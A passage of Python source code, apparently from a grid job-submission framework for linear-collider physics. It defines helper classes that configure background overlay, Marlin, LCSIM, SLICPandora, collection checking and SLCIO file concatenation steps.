allowedBkg\nfrom DIRAC.ConfigurationSystem.Client.Helpers.Operations import Operations\n\nclass OverlayInput(Application):\n \"\"\" Helper call to define Overlay processor/driver inputs. \n \n Example:\n \n >>> over = OverlayInput()\n >>> over.setBXOverlay(300)\n >>> over.setGGToHadInt(3.2)\n >>> over.setNbSigEvtsPerJob(10)\n \n \"\"\"\n def __init__(self, paramdict = None):\n self._ops = Operations()\n self.BXOverlay = None\n self.ggtohadint = 0\n self.NbSigEvtsPerJob = 0\n self.BkgEvtType = ''\n self.inputenergy = ''\n self.prodid = 0\n self.machine = 'clic_cdr'\n super(OverlayInput, self).__init__( paramdict )\n self.version = '1'\n self._modulename = \"OverlayInput\"\n self.appname = self._modulename\n self._moduledescription = 'Helper call to define Overlay processor/driver inputs'\n self.accountInProduction = False\n \n def setMachine(self, machine):\n \"\"\" Define the machine to use, clic_cdr or ilc_dbd\n \"\"\"\n self._checkArgs( {\n 'machine' : types.StringTypes\n } )\n self.machine = machine\n\n def setProdID(self, pid):\n \"\"\" Define the prodID to use as input, experts only\n \"\"\"\n self._checkArgs( {'pid': types.IntType})\n self.prodid = pid\n return S_OK()\n \n def setBXOverlay(self, bxoverlay):\n \"\"\" Define bunch crossings to overlay\n \n @param bxoverlay: Bunch crossings to overlay.\n @type bxoverlay: float\n \"\"\"\n self._checkArgs( {\n 'bxoverlay' : types.IntType\n } )\n self.BXOverlay = bxoverlay\n return S_OK()\n \n def setGGToHadInt(self, ggtohadint):\n \"\"\" Define the optional number of gamma gamma -> hadrons interactions per bunch crossing, default is 3.2\n \n @param ggtohadint: optional number of gamma gamma -> hadrons interactions per bunch crossing\n @type ggtohadint: float\n \n \"\"\"\n self._checkArgs( {\n 'ggtohadint' : types.FloatType\n } ) \n self.ggtohadint = ggtohadint\n return S_OK()\n \n def setNbSigEvtsPerJob(self, nbsigevtsperjob):\n \"\"\" Set the number of signal events per job\n \n @param nbsigevtsperjob: Number of signal events per job\n @type nbsigevtsperjob: int\n \n \"\"\" \n self._checkArgs( {\n 'nbsigevtsperjob' : types.IntType\n } )\n \n self.NbSigEvtsPerJob = nbsigevtsperjob\n return S_OK()\n\n\n def setDetectorModel(self, detectormodel):\n \"\"\" Set the detector type. Must be 'CLIC_ILD_CDR' or 'CLIC_SID_CDR' or 'sidloi3'\n \n @param detectormodel: Detector type. Must be 'CLIC_ILD_CDR' or 'CLIC_SID_CDR' or 'sidloi3'\n @type detectormodel: string\n \n \"\"\" \n self._checkArgs( {\n 'detectormodel' : types.StringTypes\n } )\n \n self.detectortype = detectormodel\n return S_OK()\n\n\n def setBkgEvtType(self, BkgEvtType):\n \"\"\" Optional: Define the background type. Default is gg -> had. For the moment only gghad is used.\n \n @param BkgEvtType: Background type. Default is gg -> had \n @type BkgEvtType: string\n \n \"\"\" \n self._checkArgs( {\n 'BkgEvtType' : types.StringTypes\n } )\n \n self.BkgEvtType = BkgEvtType\n return S_OK()\n \n# def setProdIDToUse(self,prodid):\n# \"\"\" Optional parameter: Define the production ID to use as input\n# \n# @param prodid: Production ID\n# @type prodid: int\n# \"\"\"\n# self._checkArgs({\"prodid\" : types.IntType})\n# self.prodid = prodid\n# return S_OK()\n\n def _applicationModule(self):\n m1 = self._createModuleDefinition()\n m1.addParameter(Parameter(\"BXOverlay\", 0, \"float\", \"\", \"\", False, False, \n \"Bunch crossings to overlay\"))\n m1.addParameter(Parameter(\"ggtohadint\", 0, \"float\", \"\", \"\", False, False, \n \"Optional number of gamma gamma -> hadrons interactions per bunch crossing, default is 3.2\"))\n m1.addParameter(Parameter(\"NbSigEvtsPerJob\", 0, \"int\", \"\", \"\", False, False, \n \"Number of signal events per job\"))\n m1.addParameter(Parameter(\"prodid\", 0, \"int\", \"\", \"\", False, False, \n \"ProdID to use\"))\n m1.addParameter(Parameter(\"BkgEvtType\", \"\", \"string\", \"\", \"\", False, False, \n \"Background type. Default is gg -> had\"))\n m1.addParameter(Parameter(\"detectormodel\", \"\", \"string\", \"\", \"\", False, False, \n \"Detector model.\"))\n m1.addParameter(Parameter(\"machine\", \"\", \"string\", \"\", \"\", False, False, \n \"machine: clic_cdr or ilc_dbd\"))\n m1.addParameter(Parameter(\"debug\", False, \"bool\", \"\", \"\", False, False, \"debug mode\"))\n return m1\n \n\n def _applicationModuleValues(self, moduleinstance):\n moduleinstance.setValue(\"BXOverlay\", self.BXOverlay)\n moduleinstance.setValue('ggtohadint', self.ggtohadint)\n moduleinstance.setValue('NbSigEvtsPerJob', self.NbSigEvtsPerJob)\n moduleinstance.setValue('prodid', self.prodid)\n moduleinstance.setValue('BkgEvtType', self.BkgEvtType)\n moduleinstance.setValue('detectormodel', self.detectortype)\n moduleinstance.setValue('debug', self.debug)\n moduleinstance.setValue('machine', self.machine )\n \n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n if not res1[\"OK\"] :\n return S_ERROR('userjobmodules failed')\n return S_OK() \n\n def _prodjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n if not res1[\"OK\"] :\n return S_ERROR('prodjobmodules failed')\n return S_OK() \n\n def _addParametersToStep(self, stepdefinition):\n res = self._addBaseParameters(stepdefinition)\n if not res[\"OK\"]:\n return S_ERROR(\"Failed to set base parameters\")\n return S_OK()\n \n def _checkConsistency(self):\n \"\"\" Checks that all needed parameters are set\n \"\"\"\n if not self.BXOverlay :\n self.BXOverlay = 60\n self._log.info(\"Using default number of BX to overlay: 60\")\n \n if not self.ggtohadint :\n self.ggtohadint = 3.2\n self._log.info(\"Number of GG -> had is set to 3.2 by default\") \n \n if not self.BkgEvtType :\n self.BkgEvtType = 'gghad'\n self._log.info(\"Background event type is gg -> had by default\")\n \n \n if self._jobtype == 'User' :\n if not self.NbSigEvtsPerJob :\n return S_ERROR(\"Number of signal event per job is not defined\")\n else:\n self.prodparameters['detectorModel'] = self.detectortype\n self.prodparameters['BXOverlay'] = self.BXOverlay\n self.prodparameters['GGtoHadInt'] = self.ggtohadint\n \n return S_OK() \n \n def _checkFinalConsistency(self):\n \"\"\" Final check of consistency: the overlay files for the specifed energy must exist\n \"\"\"\n if not self.energy:\n return S_ERROR(\"Energy MUST be specified for the overlay\")\n\n res = self._ops.getSections('/Overlay')\n if not res['OK']:\n return S_ERROR(\"Could not resolve the CS path to the overlay specifications\")\n sections = res['Value']\n if not self.machine in sections:\n return S_ERROR(\"Machine %s does not have overlay data, use any of %s\" % (self.machine, sections)) \n \n fracappen = modf(float(self.energy)/1000.)\n if fracappen[1] > 0: \n energytouse = \"%stev\" % (Decimal(str(self.energy))/Decimal(\"1000.\"))\n else:\n energytouse = \"%sgev\" % (Decimal(str(self.energy)))\n if energytouse.count(\".0\"):\n energytouse = energytouse.replace(\".0\", \"\")\n res = self._ops.getSections(\"/Overlay/%s\" % self.machine)\n if not energytouse in res['Value']:\n return S_ERROR(\"No overlay files corresponding to %s\" % energytouse)\n \n res = self._ops.getSections(\"/Overlay/%s/%s\" % (self.machine, energytouse))\n if not res['OK']:\n return S_ERROR(\"Could not find the detector models\")\n \n if not self.detectortype in res['Value']:\n return S_ERROR(\"Detector model specified has no overlay data with that energy and machine\")\n \n \n res = allowedBkg(self.BkgEvtType, energytouse, detectormodel = self.detectortype, machine = self.machine) \n if not res['OK']:\n return res\n if res['Value'] < 0:\n return S_ERROR(\"No proper production ID found\") \n return S_OK()\n \n \n##########################################################################\n# Marlin: Reconstructor after Mokka\n##########################################################################\nclass Marlin(Application): \n \"\"\" Call Marlin reconstructor (after Mokka simulator)\n \n Usage:\n \n >>> mo = Mokka()\n >>> marlin = Marlin()\n >>> marlin.getInputFromApp(mo)\n >>> marlin.setSteeringfile('SteeringFile.xml')\n >>> marlin.setOutputRecFile('MyOutputRecFile.rec')\n >>> marlin.setOutputDstFile('MyOutputDstFile.dst')\n \n \"\"\"\n def __init__(self, paramdict = None):\n\n self.outputDstPath = ''\n self.outputDstFile = ''\n self.outputRecPath = ''\n self.outputRecFile = ''\n self.inputGearFile = ''\n self.processorlisttouse = []\n self.processorlisttoexclude = []\n super(Marlin, self).__init__( paramdict )\n ##Those 5 need to come after default constructor\n self._modulename = 'MarlinAnalysis'\n self._moduledescription = 'Module to run MARLIN'\n self.appname = 'marlin' \n self.datatype = 'REC'\n self.detectortype = 'ILD'\n \n \n def setGearFile(self, GearFile):\n \"\"\" Define input gear file for Marlin\n \n @param GearFile: input gear file for Marlin reconstrcutor\n @type GearFile: string\n \"\"\"\n self._checkArgs( {\n 'GearFile' : types.StringTypes\n } )\n\n self.inputGearFile = GearFile\n if os.path.exists(GearFile) or GearFile.lower().count(\"lfn:\"):\n self.inputSB.append(GearFile) \n \n def setOutputRecFile(self, outputRecFile, path = None):\n \"\"\" Optional: Define output rec file for Marlin\n \n @param outputRecFile: output rec file for Marlin\n @type outputRecFile: string\n @param path: Path where to store the file. Used only in prouction context. Use setOutputData if \n you want to keep the file on the grid.\n @type path: string\n \"\"\"\n self._checkArgs( {\n 'outputRecFile' : types.StringTypes\n } )\n self.outputRecFile = outputRecFile\n self.prodparameters[self.outputRecFile] = {}\n self.prodparameters[self.outputRecFile]['datatype'] = 'REC'\n if path:\n self.outputRecPath = path \n \n def setOutputDstFile(self, outputDstFile, path = None):\n \"\"\" Optional: Define output dst file for Marlin\n \n @param outputDstFile: output dst file for Marlin\n @type outputDstFile: string\n @param path: Path where to store the file. Used only in prouction context. Use setOutputData if \n you want to keep the file on the grid.\n @type path: string\n \"\"\"\n self._checkArgs( {\n 'outputDstFile' : types.StringTypes\n } )\n self.outputDstFile = outputDstFile\n self.prodparameters[self.outputDstFile] = {}\n self.prodparameters[self.outputDstFile]['datatype'] = 'DST'\n if path:\n self.outputDstPath = path \n \n def setProcessorsToUse(self, processorlist):\n \"\"\" Define processor list to use\n \n Overwrite the default list (full reco). Useful for users willing to do dedicated analysis (TPC, Vertex digi, etc.)\n \n >>> ma.setProcessorsToUse(['libMarlinTPC.so','libMarlinReco.so','libOverlay.so','libMarlinTrkProcessors.so'])\n \n @param processorlist: list of processors to use\n @type processorlist: list\n \"\"\"\n self._checkArgs( {\n 'processorlist' : types.ListType\n } )\n self.processorlisttouse = processorlist\n \n def setProcessorsToExclude(self, processorlist):\n \"\"\" Define processor list to exclude\n \n Overwrite the default list (full reco). Useful for users willing to do dedicated analysis (TPC, Vertex digi, etc.)\n \n >>> ma.setProcessorsToExclude(['libLCFIVertex.so'])\n \n @param processorlist: list of processors to exclude\n @type processorlist: list\n \"\"\"\n self._checkArgs( {\n 'processorlist' : types.ListType\n } )\n self.processorlisttoexclude = processorlist\n \n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setUserJobFinalization(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('userjobmodules failed')\n return S_OK() \n\n def _prodjobmodules(self, stepdefinition):\n \n ## Here one needs to take care of listoutput\n if self.outputPath:\n self._listofoutput.append({'OutputFile' : '@{OutputFile}', \"outputPath\" : \"@{OutputPath}\", \n \"outputDataSE\" : self.outputSE})\n \n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setOutputComputeDataList(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('prodjobmodules failed')\n return S_OK()\n \n def _checkConsistency(self):\n \n if not self.version:\n return S_ERROR('Version not set!') \n\n if self.steeringfile:\n if not os.path.exists(self.steeringfile) and not self.steeringfile.lower().count(\"lfn:\"):\n #res = Exists(self.steeringfile)\n res = S_OK()\n if not res['OK']:\n return res \n if os.path.exists(self.steeringfile):\n res = CheckXMLValidity(self.steeringfile)\n if not res['OK']:\n return S_ERROR(\"Supplied steering file cannot be read with xml parser: %s\" % (res['Message']) )\n \n if not self.inputGearFile :\n self._log.info('GEAR file not given, will use GearOutput.xml (default from Mokka, CLIC_ILD_CDR model)')\n if self.inputGearFile:\n if not os.path.exists(self.inputGearFile) and not self.inputGearFile.lower().count(\"lfn:\"):\n #res = Exists(self.inputGearFile)\n res = S_OK()\n if not res['OK']:\n return res \n\n #res = self._checkRequiredApp()\n #if not res['OK']:\n # return res\n\n if not self.inputGearFile:\n self.inputGearFile = 'GearOutput.xml'\n\n if not self._jobtype == 'User' :\n if not self.outputFile:\n self._listofoutput.append({\"outputFile\":\"@{outputREC}\", \"outputPath\":\"@{outputPathREC}\", \n \"outputDataSE\":'@{OutputSE}'})\n self._listofoutput.append({\"outputFile\":\"@{outputDST}\", \"outputPath\":\"@{outputPathDST}\", \n \"outputDataSE\":'@{OutputSE}'})\n self.prodparameters['detectorType'] = self.detectortype\n self.prodparameters['marlin_gearfile'] = self.inputGearFile\n self.prodparameters['marlin_steeringfile'] = self.steeringfile\n \n\n return S_OK() \n \n def _applicationModule(self):\n \n md1 = self._createModuleDefinition()\n md1.addParameter(Parameter(\"inputGEAR\", '', \"string\", \"\", \"\", False, False, \n \"Input GEAR file\"))\n md1.addParameter(Parameter(\"ProcessorListToUse\", [], \"list\", \"\", \"\", False, False, \n \"List of processors to use\"))\n md1.addParameter(Parameter(\"ProcessorListToExclude\", [], \"list\", \"\", \"\", False, False, \n \"List of processors to exclude\"))\n md1.addParameter(Parameter(\"debug\", False, \"bool\", \"\", \"\", False, False, \n \"debug mode\"))\n return md1\n \n def _applicationModuleValues(self, moduleinstance):\n\n moduleinstance.setValue(\"inputGEAR\", self.inputGearFile)\n moduleinstance.setValue('ProcessorListToUse', self.processorlisttouse)\n moduleinstance.setValue('ProcessorListToExclude', self.processorlisttoexclude)\n moduleinstance.setValue(\"debug\", self.debug)\n\n def _checkWorkflowConsistency(self):\n return self._checkRequiredApp()\n \n def _resolveLinkedStepParameters(self, stepinstance):\n if type(self._linkedidx) == types.IntType:\n self._inputappstep = self._jobsteps[self._linkedidx]\n if self._inputappstep:\n stepinstance.setLink(\"InputFile\", self._inputappstep.getType(), \"OutputFile\")\n return S_OK() \n \n##########################################################################\n# LCSIM: Reconstruction after SLIC Simulation\n##########################################################################\nclass LCSIM(Application): \n \"\"\" Call LCSIM Reconstructor (after SLIC Simulation)\n \n Usage:\n \n >>> slic = SLIC()\n >>> lcsim = LCSIM()\n >>> lcsim.getInputFromApp(slic)\n >>> lcsim.setSteeringFile(\"MySteeringFile.xml\")\n >>> lcsim.setStartFrom(10)\n \n \"\"\"\n def __init__(self, paramdict = None):\n\n self.extraParams = ''\n self.aliasProperties = ''\n self.trackingstrategy = ''\n super(LCSIM, self).__init__( paramdict)\n ##Those 5 need to come after default constructor\n self._modulename = 'LCSIMAnalysis'\n self._moduledescription = 'Module to run LCSIM'\n self.appname = 'lcsim'\n self.datatype = 'REC'\n self.detectortype = 'SID'\n self.detectorModel = ''\n \n def setOutputRecFile(self, outputRecFile, path = None):\n \"\"\" Optional: Define output rec file for LCSIM\n \n @param outputRecFile: output rec file for LCSIM\n @type outputRecFile: string\n @param path: Path where to store the file. Used only in prouction context. Use setOutputData if \n you want to keep the file on the grid.\n @type path: string\n \"\"\"\n self._checkArgs( {\n 'outputRecFile' : types.StringTypes\n } )\n self.outputRecFile = outputRecFile\n self.prodparameters[self.outputRecFile] = {}\n self.prodparameters[self.outputRecFile]['datatype'] = 'REC'\n if path:\n self.outputRecPath = path\n \n def setOutputDstFile(self, outputDstFile, path = None):\n \"\"\" Optional: Define output dst file for LCSIM\n \n @param outputDstFile: output dst file for LCSIM\n @type outputDstFile: string\n @param path: Path where to store the file. Used only in prouction context. Use setOutputData if you want \n to keep the file on the grid.\n @type path: string\n \"\"\"\n self._checkArgs( {\n 'outputDstFile' : types.StringTypes\n } )\n self.outputDstFile = outputDstFile \n self.prodparameters[self.outputDstFile] = {}\n self.prodparameters[self.outputDstFile]['datatype'] = 'DST'\n if path:\n self.outputDstPath = path \n \n def setAliasProperties(self, alias):\n \"\"\" Optional: Define the path to the alias.properties file name that will be used \n \n @param alias: Path to the alias.properties file name that will be used\n @type alias: string\n \"\"\"\n self._checkArgs( {\n 'alias' : types.StringTypes\n } )\n\n self.aliasProperties = alias \n if os.path.exists(alias) or alias.lower().count(\"lfn:\"):\n self.inputSB.append(alias) \n \n def setDetectorModel(self, model):\n \"\"\" Detector Model to use\n \n @param model: name, zip file, or lfn that points to the detector model\n @type model: string\n \"\"\"\n self._checkArgs( {\n 'model' : types.StringTypes\n } ) \n self.detectorModel = model\n if os.path.exists(model) or model.lower().count(\"lfn:\"):\n self.inputSB.append(model)\n \n def setTrackingStrategy(self, trackingstrategy):\n \"\"\" Optional: Define the tracking strategy to use. \n \n @param trackingstrategy: path to the trackingstrategy file to use. If not called, will use whatever is \n in the steering file\n @type trackingstrategy: string\n \"\"\"\n self._checkArgs( {\n 'trackingstrategy' : types.StringTypes\n } ) \n self.trackingstrategy = trackingstrategy\n if os.path.exists(self.trackingstrategy) or self.trackingstrategy.lower().count('lfn:'):\n self.inputSB.append(self.trackingstrategy)\n \n def setExtraParams(self, extraparams):\n \"\"\" Optional: Define command line parameters to pass to java\n \n @param extraparams: Command line parameters to pass to java\n @type extraparams: string\n \"\"\"\n self._checkArgs( {\n 'extraparams' : types.StringTypes\n } )\n\n self.extraParams = extraparams \n \n def willRunSLICPandora(self):\n \"\"\" You need this if you plan on running L{SLICPandora}\n \"\"\"\n self.willBeCut = True \n \n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setUserJobFinalization(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('userjobmodules failed')\n return S_OK() \n\n def _prodjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setOutputComputeDataList(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('prodjobmodules failed')\n return S_OK()\n \n def _checkConsistency(self):\n\n if not self.energy :\n self._log.info('Energy set to 0 !')\n \n if not self.nbevts :\n self._log.info('Number of events set to 0 !')\n \n if not self.version:\n return S_ERROR('No version found') \n\n if self.steeringfile:\n if not os.path.exists(self.steeringfile) and not self.steeringfile.lower().count(\"lfn:\"):\n res = Exists(self.steeringfile)\n if not res['OK']:\n return res \n if os.path.exists(self.steeringfile):\n res = CheckXMLValidity(self.steeringfile)\n if not res['OK']:\n return S_ERROR(\"Supplied steering file cannot be read by XML parser: %s\" % ( res['Message'] ) )\n if self.trackingstrategy:\n if not os.path.exists(self.trackingstrategy) and not self.trackingstrategy.lower().count(\"lfn:\"):\n res = Exists(self.trackingstrategy)\n if not res['OK']:\n return res \n \n if self.detectorModel:\n if not self.detectorModel.lower().count(\".zip\"):\n return S_ERROR(\"setDetectorModel: You HAVE to pass an existing .zip file, either as local file or as LFN. \\\n Or use the alias.properties.\")\n \n #res = self._checkRequiredApp()\n #if not res['OK']:\n # return res\n \n if not self._jobtype == 'User':\n #slicp = False\n if self._inputapp and not self.outputFile and not self.willBeCut:\n for app in self._inputapp:\n if app.appname in ['slicpandora', 'marlin']:\n self._listofoutput.append({\"outputFile\":\"@{outputREC}\", \"outputPath\":\"@{outputPathREC}\", \n \"outputDataSE\":'@{OutputSE}'})\n self._listofoutput.append({\"outputFile\":\"@{outputDST}\", \"outputPath\":\"@{outputPathDST}\", \n \"outputDataSE\":'@{OutputSE}'})\n #slicp = True\n break\n self.prodparameters['detectorType'] = self.detectortype\n self.prodparameters['lcsim_steeringfile'] = self.steeringfile\n self.prodparameters['lcsim_trackingstrategy'] = self.trackingstrategy\n\n #if not slicp:\n # self._listofoutput.append({\"outputFile\":\"@{OutputFile}\",\"outputPath\":\"@{OutputPath}\",\"outputDataSE\":'@{OutputSE}'}) \n \n \n return S_OK() \n \n def _applicationModule(self):\n \n md1 = self._createModuleDefinition()\n md1.addParameter(Parameter(\"extraparams\", \"\", \"string\", \"\", \"\", False, False, \n \"Command line parameters to pass to java\"))\n md1.addParameter(Parameter(\"aliasproperties\", \"\", \"string\", \"\", \"\", False, False, \n \"Path to the alias.properties file name that will be used\"))\n md1.addParameter(Parameter(\"debug\", False, \"bool\", \"\", \"\", False, False, \n \"debug mode\"))\n md1.addParameter(Parameter(\"detectorModel\", \"\", \"string\", \"\", \"\", False, False, \n \"detector model zip file\"))\n md1.addParameter(Parameter(\"trackingstrategy\", \"\", \"string\", \"\", \"\", False, False, \n \"trackingstrategy\"))\n return md1\n \n def _applicationModuleValues(self, moduleinstance):\n\n moduleinstance.setValue(\"extraparams\", self.extraParams)\n moduleinstance.setValue(\"aliasproperties\", self.aliasProperties)\n moduleinstance.setValue(\"debug\", self.debug)\n moduleinstance.setValue(\"detectorModel\", self.detectorModel)\n moduleinstance.setValue(\"trackingstrategy\", self.trackingstrategy)\n\n def _checkWorkflowConsistency(self):\n return self._checkRequiredApp()\n\n def _resolveLinkedStepParameters(self, stepinstance):\n if type(self._linkedidx) == types.IntType:\n self._inputappstep = self._jobsteps[self._linkedidx]\n if self._inputappstep:\n stepinstance.setLink(\"InputFile\", self._inputappstep.getType(), \"OutputFile\")\n return S_OK()\n \n##########################################################################\n# SLICPandora : Run Pandora in the SID context\n##########################################################################\nclass SLICPandora(Application): \n \"\"\" Call SLICPandora \n \n Usage:\n \n >>> lcsim = LCSIM()\n ...\n >>> slicpandora = SLICPandora()\n >>> slicpandora.getInputFromApp(lcsim)\n >>> slicpandora.setPandoraSettings(\"~/GreatPathToHeaven/MyPandoraSettings.xml\")\n >>> slicpandora.setStartFrom(10)\n \n \"\"\"\n def __init__(self, paramdict = None):\n\n self.startFrom = 0\n self.pandoraSettings = ''\n self.detectorModel = ''\n super(SLICPandora, self).__init__( paramdict)\n ##Those 5 need to come after default constructor\n self._modulename = 'SLICPandoraAnalysis'\n self._moduledescription = 'Module to run SLICPANDORA'\n self.appname = 'slicpandora' \n self.datatype = 'REC'\n self.detectortype = 'SID'\n \n \n def setDetectorModel(self, detectorModel):\n \"\"\" Define detector to use for SlicPandora simulation \n \n @param detectorModel: Detector Model to use for SlicPandora simulation. \n @type detectorModel: string\n \"\"\"\n self._checkArgs( {\n 'detectorModel' : types.StringTypes\n } )\n\n self.detectorModel = detectorModel \n if os.path.exists(detectorModel) or detectorModel.lower().count(\"lfn:\"):\n self.inputSB.append(detectorModel) \n \n def setStartFrom(self, startfrom):\n \"\"\" Optional: Define from where slicpandora start to read in the input file\n \n @param startfrom: from how slicpandora start to read the input file\n @type startfrom: int\n \"\"\"\n self._checkArgs( {\n 'startfrom' : types.IntType\n } )\n self.startFrom = startfrom \n \n def setPandoraSettings(self, pandoraSettings):\n \"\"\" Optional: Define the path where pandora settings are\n \n @param pandoraSettings: path where pandora settings are\n @type pandoraSettings: string\n \"\"\"\n self._checkArgs( {\n 'pandoraSettings' : types.StringTypes\n } )\n self.pandoraSettings = pandoraSettings \n if os.path.exists(pandoraSettings) or pandoraSettings.lower().count(\"lfn:\"):\n self.inputSB.append(pandoraSettings) \n \n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setUserJobFinalization(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('userjobmodules failed')\n return S_OK() \n\n def _prodjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setOutputComputeDataList(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('prodjobmodules failed')\n return S_OK()\n \n def _checkConsistency(self):\n\n if not self.version:\n return S_ERROR('No version found') \n\n if self.steeringfile:\n if not os.path.exists(self.steeringfile) and not self.steeringfile.lower().count(\"lfn:\"):\n res = Exists(self.steeringfile)\n if not res['OK']:\n return res \n \n if not self.pandoraSettings:\n return S_ERROR(\"PandoraSettings not set, you need it\")\n \n #res = self._checkRequiredApp()\n #if not res['OK']:\n # return res\n \n if not self.startFrom :\n self._log.info('No startFrom defined for SlicPandora : start from the begining')\n \n if not self._jobtype == 'User':\n self.prodparameters['slicpandora_steeringfile'] = self.steeringfile\n self.prodparameters['slicpandora_detectorModel'] = self.detectorModel\n \n \n return S_OK() \n \n def _applicationModule(self):\n \n md1 = self._createModuleDefinition()\n md1.addParameter(Parameter(\"pandorasettings\", \"\", \"string\", \"\", \"\", False, False, \n \"Pandora Settings\"))\n md1.addParameter(Parameter(\"detectorxml\", \"\", \"string\", \"\", \"\", False, False, \n \"Detector model for simulation\"))\n md1.addParameter(Parameter(\"startFrom\", 0, \"int\", \"\", \"\", False, False, \n \"From how SlicPandora start to read the input file\"))\n md1.addParameter(Parameter(\"debug\", False, \"bool\", \"\", \"\", False, False, \n \"debug mode\"))\n return md1\n \n def _applicationModuleValues(self, moduleinstance):\n\n moduleinstance.setValue(\"pandorasettings\", self.pandoraSettings)\n moduleinstance.setValue(\"detectorxml\", self.detectorModel)\n moduleinstance.setValue(\"startFrom\", self.startFrom)\n moduleinstance.setValue(\"debug\", self.debug)\n\n def _checkWorkflowConsistency(self):\n return self._checkRequiredApp()\n \n def _resolveLinkedStepParameters(self, stepinstance):\n if type(self._linkedidx) == types.IntType:\n self._inputappstep = self._jobsteps[self._linkedidx]\n if self._inputappstep:\n stepinstance.setLink(\"InputFile\", self._inputappstep.getType(), \"OutputFile\")\n return S_OK()\n\n\n#################################################################\n# CheckCollection : Helper to check collection \n################################################################# \nclass CheckCollections(Application):\n \"\"\" Helper to check collection \n \n Example:\n \n >>> check = OverlayInput()\n >>> check.setInputFile( [slcioFile_1.slcio , slcioFile_2.slcio , slcioFile_3.slcio] )\n >>> check.setCollections( [\"some_collection_name\"] )\n \n \"\"\"\n def __init__(self, paramdict = None):\n self.collections = []\n super(CheckCollections, self).__init__( paramdict )\n if not self.version:\n self.version = 'HEAD'\n self._modulename = \"CheckCollections\"\n self.appname = 'lcio'\n self._moduledescription = 'Helper call to define Overlay processor/driver inputs'\n\n def setCollections(self, CollectionList):\n \"\"\" Set collections. Must be a list\n \n @param CollectionList: Collections. Must be a list\n @type CollectionList: list\n \n \"\"\" \n self._checkArgs( {\n 'CollectionList' : types.ListType\n } )\n \n self.collections = CollectionList\n return S_OK()\n\n\n def _applicationModule(self):\n m1 = self._createModuleDefinition()\n m1.addParameter( Parameter( \"collections\", [], \"list\", \"\", \"\", False, False, \"Collections to check for\" ) )\n m1.addParameter( Parameter( \"debug\", False, \"bool\", \"\", \"\", False, False, \"debug mode\"))\n return m1\n \n\n def _applicationModuleValues(self, moduleinstance):\n moduleinstance.setValue('collections', self.collections)\n moduleinstance.setValue('debug', self.debug)\n \n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setUserJobFinalization(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('userjobmodules failed')\n return S_OK() \n\n def _prodjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setOutputComputeDataList(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('prodjobmodules failed')\n return S_OK() \n\n def _checkConsistency(self):\n \"\"\" Checks that all needed parameters are set\n \"\"\"\n\n if not self.collections :\n return S_ERROR('No collections to check')\n\n res = self._checkRequiredApp()\n if not res['OK']:\n return res\n \n return S_OK()\n \n def _resolveLinkedStepParameters(self, stepinstance):\n if type(self._linkedidx) == types.IntType:\n self._inputappstep = self._jobsteps[self._linkedidx]\n if self._inputappstep:\n stepinstance.setLink(\"InputFile\", self._inputappstep.getType(), \"OutputFile\")\n return S_OK()\n \n#################################################################\n# SLCIOConcatenate : Helper to concatenate SLCIO files \n################################################################# \nclass SLCIOConcatenate(Application):\n \"\"\" Helper to concatenate slcio files\n \n Example:\n \n >>> slcioconcat = SLCIOConcatenate()\n >>> slcioconcat.setInputFile( [\"slcioFile_1.slcio\" , \"slcioFile_2.slcio\" , \"slcioFile_3.slcio\"] )\n >>> slcioconcat.setOutputFile(\"myNewSLCIOFile.slcio\")\n \n \"\"\"\n def __init__(self, paramdict = None):\n\n super(SLCIOConcatenate, self).__init__( paramdict)\n if not self.version:\n self.version = 'HEAD'\n self._modulename = \"LCIOConcatenate\"\n self.appname = 'lcio'\n self._moduledescription = 'Helper call to concatenate SLCIO files'\n\n def _applicationModule(self):\n m1 = self._createModuleDefinition()\n m1.addParameter( Parameter( \"debug\", False, \"bool\", \"\", \"\", False, False, \"debug mode\"))\n return m1\n\n def _applicationModuleValues(self, moduleinstance):\n moduleinstance.setValue('debug', self.debug)\n \n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setUserJobFinalization(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('userjobmodules failed')\n return S_OK() \n\n def _prodjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setOutputComputeDataList(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('prodjobmodules failed')\n return S_OK() \n\n def _checkConsistency(self):\n \"\"\" Checks that all needed parameters are set\n \"\"\"\n \n if not self.outputFile and self._jobtype =='User' :\n self.setOutputFile('LCIOFileConcatenated.slcio')\n self._log.notice('No output file name specified. Output file : LCIOFileConcatenated.slcio')\n\n if not self._jobtype == 'User':\n self._listofoutput.append({\"outputFile\":\"@{OutputFile}\", \"outputPath\":\"@{OutputPath}\", \n \"outputDataSE\":'@{OutputSE}'})\n\n #res = self._checkRequiredApp()\n #if not res['OK']:\n # return res\n \n return S_OK()\n \n def _checkWorkflowConsistency(self):\n return self._checkRequiredApp()\n \n def _resolveLinkedStepParameters(self, stepinstance):\n if type(self._linkedidx) == types.IntType:\n self._inputappstep = 